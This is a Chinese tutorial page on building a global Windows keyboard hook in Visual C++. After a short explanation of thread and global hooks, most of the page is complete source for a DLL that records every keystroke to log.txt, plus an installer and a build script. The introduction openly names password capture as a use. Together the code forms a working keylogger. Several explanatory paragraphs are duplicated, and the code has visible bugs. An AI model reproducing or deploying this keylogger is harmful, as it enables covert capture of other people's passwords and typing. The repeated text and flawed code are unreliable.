VC实现的全局键盘钩子
键盘钩子的功能就是监视系统按键动作,这是一种很有用的技术,在一些工程项目中,有监视人员操作动作的需求,便于定位故障原因。也可以用于实现密码监视等黑客行为。
钩子分线程专用钩子和全局钩子,线程专用钩子只能勾到本线程的消息,而全局键盘钩子能勾到所有系统消息,功能非常强大,所以用得不好也很容易引起系统运行缓慢甚至崩溃等状况出现。
全局键盘钩子分一般钩子和低层钩子,一般钩子只能识别基础按键,低层钩子功能更强大能识别系统按键。
全局钩子一般通过调用dll来实现,实现的过程为:
1.安装进程安装全局钩子,将钩子dll实例加载进自己进程的地址空间,并在钩子链表中增加一级钩子,而且是放在最前面
2.所有进程在第一次接收到传递给本进程的消息之前,都会加载一份钩子dll到自己进程的地址空间,以后接收到的消息都由dll中的钩子处理函数预先处理,再决定要不要继续往下传递。
安装钩子的进程终止后,它注册的dll实例也会被销毁,其他进程加载的dll也会跟着销毁。但是,安装进程如果主动将dll释放掉,且进程不终止,那么其他进程的dll不会释放,其他进程的dll只有在安装进程终止或者自身进程终止时,才释放dll。
钩子分线程专用钩子和全局钩子,线程专用钩子只能勾到本线程的消息,而全局键盘钩子能勾到所有系统消息,功能非常强大,所以用得不好也很容易引起系统运行缓慢甚至崩溃等状况出现。
全局键盘钩子分一般钩子和低层钩子,一般钩子只能识别基础按键,低层钩子功能更强大能识别系统按键。
全局钩子一般通过调用dll来实现,实现的过程为:
1.安装进程安装全局钩子,将钩子dll实例加载进自己进程的地址空间,并在钩子链表中增加一级钩子,而且是放在最前面
2.所有进程在第一次接收到传递给本进程的消息之前,都会加载一份钩子dll到自己进程的地址空间,以后接收到的消息都由dll中的钩子处理函数预先处理,再决定要不要继续往下传递。
安装钩子的进程终止后,它注册的dll实例也会被销毁,其他进程加载的dll也会跟着销毁。但是,安装进程如果主动将dll释放掉,且进程不终止,那么其他进程的dll不会释放,其他进程的dll只有在安装进程终止或者自身进程终止时,才释放dll。
下面是dll程序和安装程序示例代码
//KBhook.cpp #include<stdio.h> #include<stdlib.h> #include<windows.h> #include<process.h> #pragma comment(lib,"user32.lib") HHOOK hhkHook=NULL; //定义钩子句柄 HINSTANCE hInstance=NULL; //程序实例 BOOL EnableKeyboardCapture(); BOOL DisableKeyboardCapture(); //下面的DLLMain是DLL出入口点,没次调用和卸载DLL会执行 bool APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){ switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: //MessageBox(0,"KBhook.dll被加载!","DllMain",MB_OK); break; case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: DisableKeyboardCapture(); //MessageBox(0,"卸载KBhook.dll!","DllMain",MB_OK); break; } hInstance=(HINSTANCE)hModule; //得到DLL实例 return true; } //这是键盘消息处理函数 LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam){ char ch=0; FILE *fl; if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下 { if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100) ){ fl=fopen("log.txt","a+"); if (wParam==VK_RETURN){ ch=" "; } else{ BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan=0; ToAscii(wParam,scan,ks,&w,0); ch =char(w); } fwrite(&ch, sizeof(char), 1, fl);//把按键字符 记录到文件 } fclose(fl); } return CallNextHookEx(hhkHook,nCode,wParam,lParam);//将消息继续传递下去, } //安装钩子 BOOL EnableKeyboardCapture(){ if(!(hhkHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,hInstance,0))) return FALSE; return TRUE; } //卸载钩子 BOOL DisableKeyboardCapture(){ return UnhookWindowsHookEx(hhkHook); }
//KBhook.def ; KBhook.def : Declares the module parameters for the DLL. LIBRARY "KBhook" DESCRIPTION "KBhook Windows Dynamic Link Library" EXPORTS ; Explicit exports can Go here EnableKeyboardCapture @1 DisableKeyboardCapture @2
//installkbhook.cpp #include<stdio.h> #include<windows.h> int main(){ HINSTANCE hDll; typedef bool (*Fun1)(); hDll = LoadLibrary("KBhook.dll"); if(NULL == hDll) { fprintf(stderr, "load dll "KBhook.dll" fail."); return -1; } Fun1 EnableKeyboardCapture = (Fun1)GetProcAddress(hDll, "EnableKeyboardCapture"); if(NULL == EnableKeyboardCapture) { fprintf(stderr, "call function "EnableKeyboardCapture" fail."); FreeLibrary(hDll); return -1; } EnableKeyboardCapture(); Sleep(120000);//进程停留,不然钩子会自动注销 FreeLibrary(hDll); return 0; }
//build.bat cl KBhook.cpp KBhook.def /MD /link /out:KBhook.dll /dll /Entry:DllMain /OPT:NOWIN98 cl installkbhook.cpp del KBhook.exp KBhook.obj KBhook.lib installkbhook.obj pause
声明:该文观点仅代表作者本人,牛骨文系教育信息发布平台,牛骨文仅提供信息存储空间服务。
- 上一篇: Windows Hook机制(转贴一)
- 下一篇: 全局钩子详解